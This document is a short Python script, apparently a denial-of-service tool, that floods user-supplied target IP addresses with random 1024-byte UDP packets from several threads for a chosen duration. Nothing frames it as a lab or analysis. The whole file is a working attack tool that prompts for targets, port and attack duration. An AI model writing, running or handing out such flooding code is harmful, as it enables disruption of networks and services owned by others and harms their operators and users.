import socket
import random
import time
import threading

def ip_flood(target_ip, port, duration):
    start_time = time.time()
    end_time = start_time + duration
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    
    bytes_to_send = random._urandom(1024)
    while time.time() < end_time:
        sock.sendto(bytes_to_send, (target_ip, port))
    
    sock.close()

def attack_targets(targets, port, duration):
    threads = []
    for target in targets:
        ip, *_ = target.split(':')
        t = threading.Thread(target=ip_flood, args=(ip, port, duration))
        threads.append(t)
        t.start()
    
    for thread in threads:
        thread.join()

if __name__ == "__main__":
    targets = input("Enter target IPs and ports separated by ';' (e.g., 192.168.0.1:80;10.0.0.1:8080): ").strip().split(';')
    attack_port = int(input("Enter target port to attack: "))
    attack_duration = int(input("Enter attack duration (seconds): "))
    
    attack_targets(targets, attack_port, attack_duration)